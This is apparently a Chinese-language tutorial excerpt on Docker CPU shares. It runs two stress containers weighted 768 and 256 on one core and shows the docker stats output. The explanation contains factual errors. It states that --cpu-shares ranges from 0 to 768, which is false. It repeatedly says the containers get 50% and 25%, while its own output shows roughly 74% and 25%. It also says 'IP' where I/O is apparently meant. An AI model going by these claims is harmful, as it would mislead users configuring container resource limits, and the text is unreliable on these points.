下面是启动具有不同共享权重的容器的示例。 --cpu-shares参数定义0-768之间的共享。 如果容器定义了768的份额,而另一个容器定义了256的份额,则第一个容器将具有50%的份额,而另一个容器具有25%的可用份额。 这些数字是由于CPU共享的加权方法而不是固定容量。 在第一个容器下方将允许拥有50%的份额。 第二个容器将限制在25%。

代码语言:javascript复制
docker run -d --name c768 --cpuset-cpus 0 --cpu-shares 768 benhall/stress
docker run -d --name c256 --cpuset-cpus 0 --cpu-shares 256 benhall/stress
sleep 5
docker stats --no-stream
CONTAINER ID        NAME                CPU %               MEM USAGE / LIMIT   MEM %               NET I/O             BLOCK I/O           PIDS
41fa6c06b148        c256                24.77%              736KiB / 737.6MiB   0.10%               2.1kB / 180B        0B / 0B             3
4555c9a0c612        c768                74.33%              732KiB / 737.6MiB   0.10%               2.19kB / 484B       0B / 0B             3
da4db4fd6b70        mb100               0.00%               444KiB / 100MiB     0.43%               12.7kB / 90B        1.06MB / 0B         1
docker rm -f c768 c256

复制

有一点很重要,就是只要没有其他进程在,即便是定义了权重,启动的进程也能获得共享的100%的资源。

其他限制

诸如读写IP的限制,可以按照参考文档配置测试,测试效果如上面的cpu和内存限制。

参考文档

Docker 容器使用 cgroups 限制资源使用

Docker 使用 Linux namespace 隔离容器的运行环境

0 人点赞